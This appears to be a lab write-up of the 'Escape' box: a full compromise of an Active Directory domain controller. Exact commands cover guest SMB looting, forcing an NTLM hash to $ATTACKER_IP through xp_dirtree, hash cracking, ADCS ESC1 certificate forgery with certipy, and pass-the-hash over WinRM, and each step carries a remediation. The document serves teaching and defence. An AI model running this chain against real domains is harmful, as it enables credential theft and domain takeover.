Escape
Summary
The Active Directory Domain Controller for sequel.htb ($TARGET) was fully compromised through a chain of five exploitable misconfigurations. A guest-readable SMB share exposed an internal PDF containing live database credentials.
Those credentials gave access to a SQL Server instance where the xp_dirtree stored procedure forced the service account to authenticate against my own listener, yielding its NTLMv2 hash, which cracked to a weak plaintext password. A WinRM shell as that service account exposed the SQL Server backup error log, which contained a domain user's real password recorded verbatim by SQL Server after the user mistyped it in the username field of a failed login.
Authenticated as that domain user, I queried the Active Directory Certificate Services infrastructure and found a certificate template that permitted any authenticated user to request a certificate with a self-chosen Subject Alternative Name, including administrator@sequel.htb. A forged certificate was issued, PKINIT authentication converted it to the Administrator's NT hash, and a pass-the-hash login over WinRM delivered full domain control.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
Exact commands 3
smbclient //$TARGET/Public -U 'guest%' -c 'ls'smbclient //$TARGET/Public -U 'guest%' -c 'get "SQL Server Procedures.pdf" /tmp/sql.pdf'pdftotext /tmp/sql.pdf -FixDisable guest SMB access and remove credentials from shared documentsCritical
Exact commands 3
sudo responder -I tun0 -wimpacket-mssqlclient sequel.htb/PublicUser:[REDACTED: recovered credential]@$TARGETEXEC master.sys.xp_dirtree "\\$ATTACKER_IP\share",1,1;FixDisable xp_dirtree and block outbound SMB from the Domain ControllerHigh
Exact commands 3
cat /usr/share/responder/logs/SMB-NTLMv2-SSP-$TARGET.txthashcat -m 5600 sql_svc.hash /usr/share/wordlists/rockyou.txt --forcenxc winrm $TARGET -d sequel.htb -u sql_svc -p '[REDACTED: recovered credential]'FixReplace service account passwords with Group Managed Service AccountsHigh
Exact commands 3
nxc winrm $TARGET -d sequel.htb -u sql_svc -p '[REDACTED: recovered credential]' -x "Get-Content 'C:\SQLServer\Logs\ERRORLOG.BAK'"nxc winrm $TARGET -d sequel.htb -u Ryan.Cooper -p '[REDACTED: recovered credential]'nxc winrm $TARGET -d sequel.htb -u Ryan.Cooper -p '[REDACTED: recovered credential]' -x "type C:\Users\Ryan.Cooper\Desktop\user.txt"FixRestrict access to SQL Server error logs and treat them as sensitive dataHigh
Exact commands 1
certipy-ad find -u Ryan.Cooper@sequel.htb -p '[REDACTED: recovered credential]' -dc-ip $TARGET -vulnerable -stdoutFixRemove the enrollee-supplied Subject Alternative Name flag from ADCS certificate templatesCritical
Exact commands 4
certipy-ad req -u Ryan.Cooper@sequel.htb -p '[REDACTED: recovered credential]' -dc-ip $TARGET -ca sequel-DC-CA -template UserAuthentication -upn administrator@sequel.htb -out /tmp/adminnmap -sT -p445 --script smb2-time $TARGETsudo timedatectl set-ntp false && sudo date -u -s "<DC_UTC_TIME>"certipy-ad auth -pfx /tmp/admin.pfx -dc-ip $TARGET -username administrator -domain sequel.htbExact commands 2
nxc winrm $TARGET -d sequel.htb -u administrator -H [REDACTED: recovered credential]nxc winrm $TARGET -d sequel.htb -u administrator -H [REDACTED: recovered credential] -x "type C:\Users\Administrator\Desktop\root.txt"Attack patterns used
The transferable techniques behind this compromise.
AD CS Abuse (ESC1–ESC8)Active Directory · CertificatesT1649
What it is
Active Directory Certificate Services can be abused when certificate templates or the CA are misconfigured. The ESC family (ESC1: enrollee-supplied SAN; ESC8: NTLM relay to the web-enrollment endpoint; etc.) lets an unauthorised user obtain a certificate that authenticates as a higher-privileged user, then use it for Kerberos PKINIT to get that user's TGT.
Why it works
Certificates are long-lived authentication material; a single permissive template (ENROLLEE_SUPPLIES_SUBJECT + client-auth EKU + low enroll rights) is enough to mint an admin identity. Tools certipy/Certify find and exploit these. Remediate per the SpecterOps 'Certified Pre-Owned' guidance.
Read more
Exposed services
| 53/tcp | dns recon-sweep-discovered |
| 88/tcp | unknown recon-sweep-discovered |
| 135/tcp | rpc recon-sweep-discovered |
| 139/tcp | smb recon-sweep-discovered |
| 389/tcp | ldap recon-sweep-discovered |
| 445/tcp | smb recon-sweep-discovered |
| 464/tcp | unknown recon-sweep-discovered |
| 593/tcp | http recon-sweep-discovered |
| 636/tcp | ldap recon-sweep-discovered |
| 1433/tcp | ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM |
| 3268/tcp | ldap recon-sweep-discovered |
| 3269/tcp | unknown recon-sweep-discovered |
| 5985/tcp | winrm recon-sweep-discovered |
| 9389/tcp | unknown recon-sweep-discovered |
| 49667/tcp | unknown recon-sweep-discovered |
| 49689/tcp | unknown recon-sweep-discovered |
| 49690/tcp | unknown recon-sweep-discovered |
| 49713/tcp | unknown recon-sweep-discovered |
| 49722/tcp | unknown recon-sweep-discovered |
| 49743/tcp | unknown recon-sweep-discovered |
| 53/udp | domain |